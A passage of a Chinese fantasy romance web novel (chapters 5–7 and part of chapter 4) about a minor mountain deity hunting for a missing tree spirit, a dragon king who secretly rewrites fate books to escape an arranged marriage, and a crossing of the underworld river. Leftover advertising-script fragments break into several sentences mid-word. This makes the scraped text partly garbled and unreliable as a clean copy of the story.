安阳则从家里掏出他所有的拐棍排成一排,怒目圆睁的眼睛扯着快要拉到地上的嘴角,骂得嗓子哑了也不肯将自己的儿子叫出来。 “无凭无据,你诬陷我!” “我亲眼所见,还能有假,你也是个几千岁的老人了,没担当!” “我之前就奇怪为何你修炼百年成形,只化成一个干瘪的老头,原来是因为缺德啊。” 从这以后,扶西没再见过红生,虽说与安阳老死不相往来,但架却没少吵,她也再没踏足过安阳山。 安阳脸上有些心虚:“我儿前段日子渡完雷劫失踪了,你帮我把他找回来,我就把那座山划给你。” 扶西拿起他放在桌上的纸,上头歪歪扭扭画了些木桩和火柴棍子。 安阳抬手一指:“我之前算过,他本应在初三渡劫,谁料莫名提前了。”他说着说着,眼角留下几滴泪,“霎时间电闪雷鸣,击中他的身体,燃起了熊熊大火,枝干都快烧断了。” “我用尽力气,竟救不得半分,还莫名其妙地晕了过去。”他在房里踱步,“迷迷糊糊之间,我看到有人从海里出来,搬走了我儿!” 扶西听完一头雾水,她指着纸上的火柴人:“你是说,有人迷晕你,带走了正在渡劫的红生?” 安阳重重点头。 “老头儿,你好歹是个神仙,怎么这么不争气。” 安阳长叹一声:“你来时没发现吗?安阳山也比之前小多了。” “说到底,我们不过是下仙,修得人形已是阿弥陀佛,术法精妙,又岂是我们这些小仙能及的……” 扶西沉默下来。 “你帮我找回红生,不论死活,地皮就划给你。” 扶西想了想,从他案上扯过来一张空白的宣纸:“立个字据吧。” 安阳眼睛一亮:“你答应了?” 扶西狡黠一笑:“不过,报酬不单单是那座山,那山本就是我的。”她顿了顿,笑道,“事成以后,你划五座山给我。” 安阳望着她摊在自己面前的五根手指,腮帮子绷得紧紧的,最后重重地拍了一下桌案。 “行!” 安阳伏在案前写字,扶西仰躺在他的摇椅上望着房顶的瓦片出神,思忖着不如回去之后也学习安阳造一间瓦房,总住山洞里也不是个事儿。 想着想着,眼皮仿佛打卷,面前有些模糊起来,而后她被一个阴影缓缓笼罩起来。 “起来。” 耳畔传来男人熟悉的声音,扶西猛然惊醒,睁大了眼睛。 献流站在他身侧,恰好挡住了从窗外洒进来的阳光,他垂着长睫,紧紧盯着扶西。 扶西见是他,一颗心放进肚子,摆了摆手,翻了个身敷衍道:“起来什么起来,有你这样跟山君说话的吗?” 献流唇角微不可察地往下拉了一点,伸出手去一把将扶西捞了起来。 扶西身体乍然腾空,连惊叫都来不及,就看着献流那张脸凑了过来,一瞬间她呼吸都快停了。 她想喊救命是怎么回事? 还来不及做出下一步反应,她就站到了安阳身后。 “你跟他说清楚。”献流指着安阳佝偻的后背,吐字清晰。 扶西不明所以:“说清楚什么?” 献流似乎特别小地哼了一声,一把拍掉安阳手里的毛笔,把他转了过来。 “你跟他说清楚,我不是你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的新欢。” 扶西和安阳面面相觑,半晌,扶西率先开口。 “你,不是我的新欢。”她面对着安阳,指着献流,嘴角扬起一个颇有礼节的微笑。 安阳也哦哦两声,重重地点点头,大声回道:“知道了知道了,他不是你的新欢,你没有新欢。” 献流这才放开紧紧箍着安阳肩膀的手,后退了两步,又静静地看着扶西不说话。 扶西扁了扁嘴,都照他的说了,怎么还杵在这里不去干活,莫名其妙。 献流脸上没出现什么松快的表情,他似乎在等着扶西说些什么,半晌没有回应之后,他将身一转,又跑出门去了。 安阳干巴巴笑了两声:“原来你没扯谎,他果然脑子有问题。” 扶西一面应着点头,一面来到门口,外头确实被他打理得极好,她望着献流坐在山丘上的背影若有所思。 “哎!你怎么不干活了?” 那人不理他,依旧坐着不动。 “哎!” “小贼!” 献流就是不应。 就着夕阳,扶西这才发现他头顶那株随风晃悠悠的草芽。 扶西走过去,拍了拍他肩膀:“累了?” 献流抬头快速看了她一眼,没说话,似乎是无声的反抗。 扶西甩了甩腰上的匕首,想来确实也该累了,她这么有良心的一个神仙,可不是凡间那种压榨仆从的大老爷。 “行吧,明早不干活了。” 献流没动。 扶西凑过去望着他的脸,夕阳余晖下,他被看得有些莫名不自在,偏头躲过了扶西的目光。 扶西转到他另一边,一双圆溜溜的眼睛带着笑意:“那明日午后也不干活了。” 献流肩膀似乎松动了一些,他仰起头望了眼扶西,不动声色地压下嘴角,又转回了原来的方向。 扶西在他面前踱了两步,装腔作势道:“真不领情,那明天干一天活好了。”要言罢她提脚作势就要走。 她步子滞了滞,回头一瞧,原来是献流用手掌轻轻拉住了她的衣角。 “我想休息。” “我不是说让你休息了吗?” “晚上呢?” “什么晚上?”扶西望他头上摇摇晃晃的草,忍不住用食指碰了碰。 怎么这草一出现,任劳任怨的“水牛”就变成了“犟种。” “你只说了早上和午后,没说晚上。” 扶西扒开他的手,绕到献流面前:“你不对劲。” 献流偏过头,垂着眸不讲话。 “行吧行吧,我大人有大量,明天给你歇一整天。” 正好我也好好研究下怎么取出真身来。 献流听完,紧绷的身体渐渐放松下来,唇角轻轻上扬,朝扶西的方向挪过去了一截。 安阳正好写完字据,挥着纸条出来,一把塞进扶西手里:“我想通了,你要真把红生找回来,我把他送给你睡。” 扶西愣在原地。 好啊你个死老头,我把你当朋友,你却想当我爹? 话音刚落,不及扶西做出反应,献流身体似乎一僵,重重地往远离扶西的方向挪了好几寸,唇角又拉了下来。 5. 爱爱恨恨 天界,司命殿。 高耸入云的宫殿外风铃飞荡,几个小童抱着命书来来往往,颇为忙碌。 司命伏在案边奋笔疾书,眼底浮出淡淡的青黑,伴随着一两声叹息,他的眉头时不时蹙起。 “唉。”他将毛笔随手一掷,就要起身,两只修长的手指却按住了他的纸笺。 司命抬起头,恰好对上西海龙王麟寻那双带着笑意的眼睛,他往后仰了仰:“麟寻?你怎么有空来这里?” 麟寻衣裳华贵,坠着满满当当的珍珠,随着她动作叮铃作响:“我来找你,自然是有事相求。” 司命撇了撇嘴,伸了个懒腰从容起身:“你这像是有事相求的样子吗?” 麟寻变戏法似的从身后掏出一个嵌满珍珠贝壳的盒子,指尖轻轻一按,露出里头光华流转的物什来。 司命眼睛被那宝物的光扎得快要睁不开,留着个缝仔细看了看,是个快有他拳头那么大的夜明珠。 这,倒也算是有心吧…… 司命咳嗽两声,朝着殿内来往的小童使了使眼色,不一会儿,殿内就只剩下两人。 司命关上盒子,压低了声音:“你怎么带这么贵重的东西来?”他心里没来由地慌神,麟寻虽向来出手阔绰,但今日这东西,贵重得他有些不敢收下,生怕麟寻开口叫他去干杀人放火的勾当。 麟寻生在西海,从小过得极好,奇珍异宝对她来说不过是库房里落灰的物件。 “我想问你,什么样的爱情才够刻骨铭心,叫人念念不忘?” 司命一听,整个人都往后弹了三四步,他咂吧着嘴,满脸不可思议地摇头:“好你个大大的西海龙王,怎么忽然问这么露骨的问题?” “我有一个朋友,她……” 司命抬手:“打住,一般说来,‘我有一个朋友’里的朋友说的就是自己。” 麟寻摇了摇头:“非也,我这位好友是魔界右护法,卫和,她看上了一个凡人,托我替她牵线。” 司命将信不信,背手围着麟寻绕了三四圈:“真的?” 麟寻点点头,脸上依旧带着淡淡的笑意:“自然。” 司命摆摆手:“既然只是一个凡人,何须劳心费神,你叫卫和给他注几分魔力,活他个百岁千载就行了嘛。” 麟寻叹口气:“不行,强扭的瓜不甜,卫和想要这凡人真心实意地爱上她,自愿同她天长地久。” “我听闻,三生三世,十生十世,再没有羁绊的人也能对彼此念念不忘,如果这期间再多些波折阻挡,那就更妙不可言了。”麟寻的眼睛似乎变得亮了一些。 司命还是扁着嘴,一副不肯相信的模样。 “对不对?”麟寻忍不住追问。 司命点点头:“这倒也不是没有可能,多年以前,瑶池的一位仙子同灵光帝君因错被贬下界,后来功德圆满回归天界,因着凡界的缘分结为眷侣,如今也不曾分开。” 麟寻听完似乎松了一口气:“把她们的命书给我看一眼。” 司命闭眼,眉间祥云纹缓缓亮起,片刻后掌心出现了一份符碟。 麟寻抬手一挥,只见二人平生事迹被写作长文,悬在空中,字体泛着淡淡的光彩,勉强能看清。 麟寻越看眉头越蹙:“灵光为权利设计灭了仙子一族,两人后来居然还能在一起?” 司命抬手收起命书,煞有其事地笑了笑:“这你就不懂了,这叫虐恋情深,越虐越爱,因爱生恨,恨比爱长久,越恨越爱。”司命一面说一面抬手放在胸前,如痴如醉地摇着头,“深深相爱时又不得不恨,爱时思恨,恨时思爱,仙品!” 麟寻不太懂这些,想到司命所提到的那位瑶池仙子与灵光帝君,思忖了一会儿,即刻拍板:“给他们套上这个命书!” 司命提起笔,边写边问:“卫和知道了,会不会怪你。” 麟寻摇头:“不会,她定会感激我,我是在帮她。” “行吧。”司命笔锋一转,顺势给女主人公加了些尊贵的身份,多多的钱财珠宝,幸福美满的家庭。 麟寻立在他身侧,不再去看司命所写的内容,面上浮上几分不易察觉的紧张。 “对了,最近怎么没见过献流,平日里总见他在南天门附近练兵,一刻不愿闲的。” 麟寻愣了愣:“我不清楚。” 司命满脸惊奇:“你不是他师妹兼未婚妻吗?” 麟寻颇有些不耐烦动了动嘴角:“他的事自有师父处理,我虽是她师妹,也管不了他爱去哪里。” 司命见她表情不对,心中浮上几分好奇,献流他晓得,就是个无心无情的蠢蛋,嘴边整天不是法术就是司律,挂在嘴边最多的就是什么“不成体统”,“丢人现眼”,“没有规矩不成方圆”,偶尔夹杂几句“不思进取”。 这样的人,估计也讨不了师妹的欢心,麟寻不待见他倒也情有可原。 “你写好了吗?这么多话。”麟寻见他停下来,眉目染上不悦,“快些。” 司命看她不痛快,不敢再多言,刷刷刷几下写完了命书,按着麟寻的提示投入姻缘炉,火花乍起,命书焚烧殆尽,散入人间。 “卫和竟肯为了凡人入轮回,真是可歌可泣。” 麟寻点点头:“我也没想到。”她转身朝司命一拜,“不必送了,今日多谢你,若此番姻缘能成,我三人一齐来谢你。” 司命摆摆手:“客气客气,小事而已。” 望着麟寻化作云烟的背影,司命拍了拍脑袋,谢就算了,怎么还三个人一起来? * 麟寻立在云头,长长地舒了一口气,师父尚在闭关,她不必去拜见,于是直往西海而去。 胸口的传音石有些发烫,麟寻取出来一听,是魔君卫风的传音。 “如何?我小妹已入轮回。” “放心,一切都好,若一世能成再好不过。” “凡间短短几十载,有什么用?你直接写个十生十世的命书来,酸甜苦辣都过一遍,叫他念念不忘,日思夜想。” 麟寻没来由地烦躁起来:“知道了,我西海还有事,下次见面再与你详谈。” 刚把传音石塞回原处,麟寻就看到远处天边流光溢彩,有兵刃相接之声。 她立在云头,眼看着前方飞来一把速度极快的长枪,银芒闪闪,正冲她眉心而来。 麟寻立时侧身闪避,飞速变回原形,青鳞巨龙咆哮着飞速前行,她倒是要看看,究竟是谁敢在天外袭击她,定叫这人有去无回! “我不想再同你争吵了,多少个午夜梦回,我都被长刀惊出一身冷汗。” 是个抽噎的女声,词句破碎,气息颤抖。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “你方才掷出那一枪,难道不是想杀了我吗?” 她愤愤不平,带着点委屈。 麟寻飞行的速度缓缓降了下来,又化作人形立在云头,原来是两个人吵架。 她不耐烦地摇摇头,吵便吵了,舞刀弄枪作什么,还险些伤了无辜之人。 “阿岚你误会了,别再闹了,快随我回去吧。”男声柔和,麟寻却从中听出一丝威胁的意味。 她想了想,停住了云彩,下意识地匿在一堆云朵后头,竖起了耳朵。 “阿岚,你清醒一点,你是天界瑶池仙子,是我的妻,不是什么凡间的通华郡主!你醒醒啊——” “我很久没睡过一个好觉了……” 男人叹了口长长的气,扶着女人的手指渐渐用力:“他们不过是凡人罢了,你莫要再想。” 女人冷笑一声:“若是我杀了你凡间的爹娘,你会如何对我?” 麟寻探头听着,眼看着两人从凡间爹娘说到生活习惯,又从生活习惯说到身份地位,最后终于又爆发了。 “你不过是个小小的瑶池仙子,与我成亲已是高攀,为何还不知足?” “今时今日,你终于肯说实话了,从前的甜言蜜语,海誓山盟,都是你骗我的,在你的心里,小小的仙子就是比不上你这尊无上的帝君,你打心底了觉得自己亏了!”女人不肯停下,“其实你说过很多次,你为了我退掉与凤舞神君的婚事,是壮士断腕,是不计较。” “呸!我今天就告诉你,我还看不上你呢!” “你,你,你——” 男人被女人气得快说不出一句完整的话,半晌终于吐出四个字。 “反了你了!”言罢他手中便金光大作,带起快速旋转的风。 麟寻眉头一紧,从层层叠叠的云朵里闪了出来,飞身抛出一个透明的保护罩,将仙子稳稳当当地护在自己身后。 男人一惊,没想到这里还有个人,立时收回手中的法术,瞪了过去。 等他看清来人后,眉头紧了又松,松了又紧,手忙脚乱地上前:“麟寻,你来这里做什么?” 麟寻微微一笑,往前踏了几步:“正要回西海去。” “不知道灵光帝君又在这里干什么呢?” “不过我倒是看清了,你法术里带着杀意。” “你想杀了阿岚。” 灵光垂眸一会儿,又立刻恢复了笑意:“麟寻,你看错了。” 麟寻不理会他,蹲下身扶起瑟瑟发抖的瑶池仙子阿岚,轻声问道:“还好吧?” 阿岚腿都软了,她点点头,就着麟寻的力量缓缓起身,偏过头避免和灵光对视。 “此事我会一五一十地禀告师父。”麟寻抬手,便有数十个天兵从远方飞来,“至于你,没收到凌霄宝殿的消息前就不要出灵山了。” 灵光面色一黑,咬牙切齿:“你不过是个小小龙王,凭什么拘禁我!” 她冷冷看着灵光,指尖浮现出一个旋转的金印。 “以献流的名义拘禁你,不算过吧?” 缚仙索紧紧捆住灵光,叫他动弹不得,他咬牙切齿,被押走时眸光晦暗。 麟寻望着他们远去的背影,又松了口气。 等等,灵光帝君和瑶池仙子…… 怎么那么耳熟呢…… 6. 生了生了! 麟寻扎进海里,化作一道金光立在龙王殿前。 左右两旁的虾兵蟹将怒目圆睁,立得笔直。 “殿下!” 麟寻朝他们点点头,踏入殿中。 下一瞬,一道流光溢彩的水波屏障出现在眼前,麟寻环顾四周,以极快的速度将身闪进其中。 屏障之外,亭台楼阁,珊瑚林立,是一座偌大的水晶宫,她熟门熟路地穿行其中,脚步越来越快。 推开一扇门后,便有人扑进她的怀里,轻轻蹭了蹭她:“殿下,您好久没来了。” 麟寻嘴角浮上笑意,弯弯的眉眼中满是缱绻,她抬手抚上怀中人柔顺的长发,轻嗅着他的味道,心安不少。 “青泽,近来可有哪里不舒服的?”麟寻与他分开,目光放在他高高隆起的腹部上,“孩子怎么样?” 青泽面庞浮上红晕,手掌隔着衣裳抚着腹部:“我没什么感觉,就是觉得他们挺活泼的。” 青泽牵起麟寻的手,将她带到榻边:“殿下,您最近这么忙吗?” 麟寻看着他扑闪扑闪的眼睛,平心而论,青泽的样貌只算得上清秀可人,比起天界那群动辄容貌惊艳六界的神君们差了几分,可他向来温柔,做什么都不疾不徐的,她再不开心,只要同青泽在一处,满身的戾气也能化作三月春水。 “青泽,你再等等我,我一定能把你名正言顺地接进龙王殿。” 青泽愣了愣,似乎有些惊讶,他柔顺地低着头,眉眼染上笑意,有些羞涩:“殿下,谢谢您。” 麟寻见他这样,心中愈发柔软了。 望着他轻垂的长睫,麟寻心中的烦躁被抹平不少,她抬起手轻轻抚着他的脸颊,正欲在这上面留下点什么,青泽忽然痛苦地皱起眉来。 “殿下,好,好痛……” 麟寻颇为担心,下意识地想抬手叫医官,却忽然想起自青泽有孕后,为防止秘密泄露,她已遣散了这水晶宫的所有侍女侍男。 难道要生了? 麟寻拍了拍自己的脑袋,她这个母亲做得实在是不称职,居然连产期也没算好。 不行,得找人帮忙。 想着,她迅速起身就要走,却被青泽紧紧抓住了袖口。 “殿下,殿下别走,我,我自己可以……” 麟寻听到此处,立时坐回他身边,将他的手背圈在自己手掌下,按了按:“别胡闹,出了事怎么办?” “我们海龙一族,向来如此,从前我父生我们的时候,母亲都不知道去哪里了。”他额头渗出豆大的汗珠,“如今,殿下还在这里,我,我什么都不怕。” 麟寻看着他渐渐苍白的唇,心头抽动,仿佛自己也感受了青泽阵阵的疼痛,她将人搂得更紧,蹙着眉不停地给他顺气。 不过片刻,青泽便疼得晕了过去,青色的光芒闪过,他变回了原形,浮在海水之中,比她还高出一两尺。 麟寻满脸惊奇地站起来,轻声唤他:“青泽,你,你还好吧……” 青泽开口:“殿下,您先出去吧,我怕吓到您。” 麟寻摇头:“怕什么,我什么场面没见过,我陪着你,你心情好一些。” 青泽晃了晃尾巴,游得稍微远了一点:“殿下,您真的不走吗?” 麟寻摇头:“放心,我陪着你。” “那好吧。”青泽垂了垂头,放弃了劝说,往前轻轻顶了顶隆起的腹部,深憋了一口气,下一瞬,便有数十个小海龙从他的腹部喷涌而出。 麟寻一双眼睛越睁越大,越睁越大,局促的双手不安地揉搓着衣袖的内侧,一张脸越来越白。 “砰——” “殿下,殿下你怎么了……” 眼前完全变黑之前,麟寻只看见一头刚喷到自己脸上的小海龙,张着嘴巴用奶呼呼的声音唤她母亲。 再次醒来时,青泽已经变作了人形,守在她榻边,见她醒来,苍白的脸上浮现出一个微笑。 “殿下,我是不是吓到您了?” 麟寻抬手擦了擦额头的汗珠,缓缓坐起来,忽然觉得自己特别丢脸,苍白的面颊渐渐浮上红晕,半晌才想起来关心“产夫。” “你生完了?” 青泽羞涩地点点头:“应该是吧,殿下。”言罢他朝侧边摆了摆手,便有数十个奶娃娃蹒跚着跑进里间来。 “爹爹!娘亲!” “娘亲!爹爹!” “娘亲抱我!” “爹爹,爹爹!” 周围声音嘈杂得要命,麟寻眨巴着眼睛似乎还没反应过来,眼看着已经有一个奶娃娃爬上了床榻,扑进了她怀里。 “娘亲!”这娃娃只穿着个肚兜,非常有眼色地往麟寻脸颊上重重吧唧了一大口,“娘亲醒了,真好!” 麟寻用手将她提溜起来,左右打量,最后看着与自己同青泽五六分像的面容,终于完完全全地反应过来。 “我当娘了。”她喃喃道。 青泽垂眸,轻轻嗯了一声。 言罢她跳起来,将一大摞孩子都搂在怀里,这个亲一口,那个亲一口,满心欢喜。 “从前只听父亲说西海九代单传,到我这里算是旺盛了。”麟寻面露喜色,忍不住道,“都说你们海龙能生,没想到这么能生啊!” 青泽听完抿了抿嘴,十分羞涩:“殿下别打趣我了。”想到这里他也松了口气,紧赶慢赶,终于将孩子憋到麟寻回来才生产。 不然这么多,若非麟寻亲眼看见,他还怕解释不清楚呢。 “麟寻,你个孽障!给我滚出来!” 惊天一声怒吼,水晶宫似乎都震了三震,麟寻手里动作一僵,看着水屏中的画面。 原来是老龙王进了龙王殿,正发火呢。 “我知道你回来了,有什么好躲的,给我滚出来!” 青泽小跑过来,将麟寻从地上扶起来:“殿下,老龙王这么生气,您怎么办?” 麟寻拍了拍他的手:“无事,他老人家天生脾气不好,我出去哄哄就行了。”言罢她抽身就要走,踏出门槛之前又忍不住回头看了一眼。 只见青泽一身白衣立在门前,弱柳扶风,几个孩子乖乖地立在他旁边,十几双眼睛就这么含情脉脉地看着她。 麟寻心中暖意淌过,又忍不住折身回来把每个孩子的脸都揉了一把,最后朝青泽脸上亲了一口方才满意离去。 为遮掩此事,她离开水晶宫后兜了个大圈子才绕进龙王殿中。 只见宝座之上有人背对她负手立着,看样子恭候多时了。 果不其然,不等她开口,那人便幽幽道:“听闻你离开西海将近半旬,我若不在这里守着,怕是也见不到您老人家吧?” 麟寻面不改色,躬身道:“父亲来了,也不提前知会我一声。” 老龙王走下台阶,冷哼着:“提前通知你,不就等于告诉你躲出去吗?”他瞪了麟寻一眼,“你从小就循规蹈矩,最是听话,怎么四海平定之后反而跟变了个人似的。” 还不是因为压抑太久了,麟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 寻心道。 “您老人家也是。”更爱喝酒看舞听雨喝茶了…… 老龙王一听,一双眉毛都快竖起来,龙角都要喷火了,他朝麟寻额头点了点:“不孝女,有你这么说老子的吗?这些日子窜去哪里了,如实交代!”他语重心长,“再过不久就是你同献流的婚期,你不安心待嫁,出去乱些什么?” 他不提还好,一提麟寻就浑身不舒服。献流此人木讷无趣,平心而论,与他共事打战可以,成亲过日子万万不行。 西海一脉虽富庶却无实权,之前为了将她塞进天君门下,老龙王费尽力气,好在她也争气,挣了些军功傍身。 谁想这两人不知打的什么算盘,竟为她和献流定下婚事。偏偏献流此人只一副无所谓的态度。 两人虽有一起长大的情分,可也仅限于此。麟寻心生不满,献流却只道听师父安排。 “我要退婚!”麟寻第一个不同意。 老龙王反手将她关进了海牢,气得整个身子都在颤抖:“你个孽障!你知不知道为这个婚事,我求了天君多少?” “西海九代单传,虽然富庶,手里却什么都没有,你知不知道人家怎么说我们?” “乡巴佬,暴发户!”这些词麟寻明白,是人间用来形容一家人徒有钱财却无底蕴,不是什么好词。 “无权无势,如何在六界生存!你可是西海唯一的希望!”老龙王气得嘴歪,当即道,“我今日就传位于你,这个亲你不结也得结!” 麟寻倚在墙角,心里凉嗖嗖的,她不懂,也不想懂,这一大个西海还不够他老人家呼来喝去吗? 自即位后,她忙得不可开交,这个月才稍微松活一些,终于能腾出手来为这婚约想办法了。 她抬眼带着笑意对上老龙王的眼睛,不紧不慢道:“我去天界了。” 老龙王愣了愣:“去天界做什么?” 她缓缓站起来:“当然是去找我师兄,培养感情了。”麟寻挑了挑眉,望着老龙王的眼睛愈发炯炯有神。 “你,你……”老龙王一时语塞,呆愣着嗫嚅半晌才甩着袖子道,“你不早说。” “你也没让我说啊?”她唇角上扬,眼神却冷冰冰的。 老龙王脸上挂不住,望着麟寻的眼睛莫名多出几分心虚来,他转身阔步朝外,本欲立即离开,却在经过麟寻时抽了抽鼻子。 “什么味道?那么腥?”他皱着眉皱着鼻子,似乎很是不满。 麟寻心头一跳,登时反应过来,立即掐指为自己施了个净身术:“回来的路上,遇到了灵光帝君同他妻子打架,拉架的时候受了点伤。” 老龙王折回来,拉住她的手左右翻看:“伤到哪里了?” 麟寻不动声色地抽回手:“都是小伤,父亲不必挂怀。” 老龙王咽了咽口水,咳嗽两声:“咳咳,一群老不死的神仙,还这么打打杀杀的,粗鲁!你上天庭,多见见你师兄就行,别的神仙,少来往。” 丢下这一句,还不等麟寻回应,他便逃也似的消失在了殿门口。 麟寻上扬的嘴角缓缓扯平,她想起献流说过的话。 “我并无中意之人,故与谁结亲,都没有什么分别。” “情爱于我,不过是浮云。” “一切全听师父安排。” 好一个浮云,好一个安排,她倒是要看看,等献流跟卫和纠缠个三生七世,要死要活去退婚的是谁! 她也要看看,到时候她老爹的脸能绿成什么样子! 7. 暴打摆渡人 “你也太过分了,睁大眼睛看看呀,这地方我常来的,上次,上次我还就坐的你的船!”扶西双手叉腰一顿输出, 立在她面前的黑斗篷无奈叹气:“我怎么睁大眼睛,你看看,我有眼睛吗?”他冷哼一声,“还说什么常来,我才不信,坐不起船滚一边去,后头还排着人呢。” 这是冥河上的摆渡人,天生与冥船生在一起,有头有脑,就是没有五官,一张脸煞白,声音从胸腔的小洞发出来。 要从仙界去往人间,对扶西她们这样的下仙来说,从冥界跨过去最方便,只消往摆渡人身上渡几缕微不足道的仙气,便能去往对岸。 可如今扶西遭了难,连仙气都拿不出来。 她不服气:“谁说我坐不起,我常坐!”她指尖用力,凝神聚气,半晌过后一缕颤颤巍巍的仙气飘了出来,往摆渡人胸口歪七八扭地荡去。 摆渡人似乎感知到了纯粹的仙气,偏过头仔细感知着。 过了一会儿,扶西眼见着那缕晃晃悠悠的仙气在到达摆渡人胸腔之前彻底萎靡,直直掉到了地上,被冥河边的黑草吸食殆尽。 扶西紧闭双眼,在心里捶胸顿足,我宝贵的仙气啊! 摆渡人笑得更加放肆:“小仙子,你这才修行了几年,十年二十年,就这样也敢来渡冥河,我劝你趁早算了,回去再练练吧!” 后头队伍里有人附和。 “是呀是呀,别耽搁大家伙的时间了。” “什么一山之主,哪里有这么菜的山君。” “哪座山的山君啊?真是让人笑掉大牙!哈哈哈!” 听着众人的调笑,扶西回头看了看身后那个默然不动的男人,瞬时气不打一处来,要不是他,她会遭这种难? “过来。” 献流一路跟着扶西过来,脑子里不停地回想起自己前些日子的所作所为,惊讶中带着羞耻,不知为何,他那时就是十分,特别,非常想亲近扶西,睡了一觉第二天又全好了。 有异!大大有异! 丢人现眼,丢人现眼…… 他眉头紧锁,神思来不及反应,便已提脚走到了扶西面前。 扶西看着他乖顺的模样,还是不觉得消气,思忖了一会儿:“不然你打他一顿,打到他心服口服渡我们过冥河。” “这怎么行?” 话音刚落,献流人就飞了出去,不受控制的身体拳脚翻飞,动作灵敏,三下五除二竟将扶西面前的摆渡人撂翻在水中,小船在水面上晃荡,摆渡人瘫在船头,声音嘶哑。 “过,过,我让你们过……” 这一切发生得太快,扶西一张脸涨的通红,她只是随口说说,怎么这小贼就飞上去了。 后头的仙人啧啧两声,羞得扶西偏过头去,非议纷纷,扶西看着船头献流伸过来的手,犹豫了半晌,咬咬牙踏了上去。 “这两人也太不要脸了,怎么能打人呢?” “就这么坐上去了,他们怎么好意思的啊?” 献流的尴尬不比扶西少,等小船行远一些,他才松了口气,他万万没想到,自己这辈子还有这么“恶霸”的时候。 扶西戳了戳他的腰,压低声音:“我只是随口一说,你怎么真把人打了。” 献流蹙着眉:“你不明白?我如今的身体都是按你的吩咐做事。”他顿了顿,“下次说话之前先想清楚能不能做?该不该做?” 扶西见他这么一副态度,看献流愈发不顺眼了:“要不是你,我能沦落到这个地步?你少得了便宜还卖乖,要不是十一和小侯没恢复人形,我才不想带你出来!” “我也不想这样,还不如赖你自己不好好保存真身,再者你修炼千年,真身还只是一株小小的树苗,长得跟草一样,我才认错……” 扶西一肚子的火,她忍不住站起来:“你做错了事还有理,你是非不辨,善恶不分,还敢妄称战神,我真后悔当初怎么没捅死你!” 献流这些日子的窘迫与憋闷似乎在这一刻倾泄而出:“我有许多的正事要做,没那么多功夫陪你在这里浪费时间,等修为恢复以后,自会将真身还给你!” 他蓦的想起前些日子做出那些叫他可以羞愤而死的行为,愈发心口憋闷,恨不得一头扎进冥河里。 扶西胸口堵得厉害,偏偏自己真身还在这家伙身上,自己还奈何不了他,她恶狠狠应道:“你最好是!” 言罢她将衣角一甩,噔噔噔地大踏步离开船舱中间,来到船头,望着摆渡人头上那盏时明时暗的豆灯。 摆渡人煞白的脸此刻青紫交加,他感受到身旁有人来,攥着船桨的手指更加用力。 “方才是我不对,我其实真是个山君。”言罢扶西从怀里掏出一片木板丢进摆渡人胸腔里,“东海之滨,扶西山。我最近有些困难,与你赊着,后面还。” 摆渡人愣了愣,砸吧着这人的话,想了想,划船的速度更快了些。 扶西移开几步,在船头上趁着月色睡下,不一会儿就进入了梦乡。 恍惚间,她好像听见耳边传来声音。 “对不住,方才我不是故意打你的,是因为……” 声音越来越小,越飘越远,行船的速度似乎陡然加快,风声呼呼刮过耳畔,等再醒来的时候,她又睡在了船舱。 扶西揉了揉太阳穴,快怀疑自己昨夜记忆出岔子了。 夜色已过,船舱外透进来天光,扶西弯腰拨开船帘,抬眼对上峡谷之中那束散着水汽的阳光。 “快到了……”她喃喃道,“这次怎么那么快?” 摆渡人感知到她出来,船划得更加用力,满头满脸的汗水,地上都有一些。 看得扶西目瞪口呆。 原来昨夜行船突然加快,不是错觉。她视线放到旁边打着坐的献流身上,本不欲同他讲话,想了想还是用脚尖踢了踢他的后背。 “哎。” 献流睁开了眼睛。 “何事?” “你昨夜同他说什么了?你威胁他了?” 献流不明所以地摇摇头:“没有,我同他道了歉,笑着拍了拍他的肩膀。”言罢他回忆着昨夜的笑容扬起嘴角。 扶西看着他那张笑比不笑还冷半分的脸,算是明白过来:“谁教你这么笑的?” 献流收回嘴角,正色道:“我一直都是这么笑的。” 扶西冷冷道:“笑得很好,以后也就都这么笑吧。”言罢她上前拿过摆渡人手里的船桨。 “你歇歇吧,我来。” 摆渡人一双手悬在半空中,一头的汗,这两个人到底想干什 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么,打一巴掌给一颗枣,又打一巴掌又给一颗枣。 他一把夺回船桨:“我来就行,冥河的水跟你不熟。”他得再划快点,快点送走这两尊大佛,再回去跟母亲痛快地哭一场。想到这里,他船底下的双脚也扑腾得更快了。 * 下船之时,扶西还想跟那摆渡人说两句,他却头也不回地跑了。 一回头,又对上献流那张冷冷的笑脸,把扶西吓了一跳,她反应过来,白了他一眼,抬脚熟门熟路地摸进冥界。 红生的下落,只能带着安阳老头的血找冥界的九尾问问了。 九尾在冥界有一栋山那样高的楼,称作万机,楼中六界之人鱼龙混杂,什么都有,由仙界到凡间的方法扶西也是从这里学来的。 路上扶西一言不发,却还是忍不住回头多看几眼献流有没有跟上来。 讨厌归讨厌,吵架归吵架,她的真身还没拿出来,千万不能让这小子溜了。 偏偏她一回过头去,献流就用扬起嘴角用那冷冷的笑容看着他,看得多了,扶西胸口的气愈发多了。 这小贼真心机,居然还这样挑衅她!她定要让他吃一些苦头。 万机门口人来人往,一楼还有不少姑娘小倌在揽客,艳红的口脂和腮红香气扑鼻,扶西视若无睹地提脚进去,立在大厅中央回头看着门口犹豫不决的献流。 她抬了抬眉:“愣着干什么,还不快点滚进来。” 献流望着门口那一张张洋溢着笑容的脸庞,鼻腔被香粉的味道填满,身体没来由地越来越僵硬。 这是秦楼楚馆,她一个女孩子,怎么能来这种地方,还这样熟门熟路。 成何体统,成何体统! 可扶西的声音传来后,他便不受控制地打了几个滚,就这么灵活地滚过门槛,滚到了扶西脚下,奇异的行为引来了众人的围观。 献流合起双眼,迟迟不愿展开团成球的身体,他真后悔昨夜没有在冥河投水。 扶西努力压下上扬的嘴角,望着脚下的人抬了抬脚尖:“哎,快起来,走了,我们要去顶楼。” 扶西看出他的窘迫,难得耐着性子解释:“下三楼是秦楼楚馆不错,顶楼却是办正事的地方。” “你要想逛,夜里再来。” 献流垂着头,整个人像一株蔫掉的草:“我不去。” 两人乘上天梯,飞速往高出飞去。 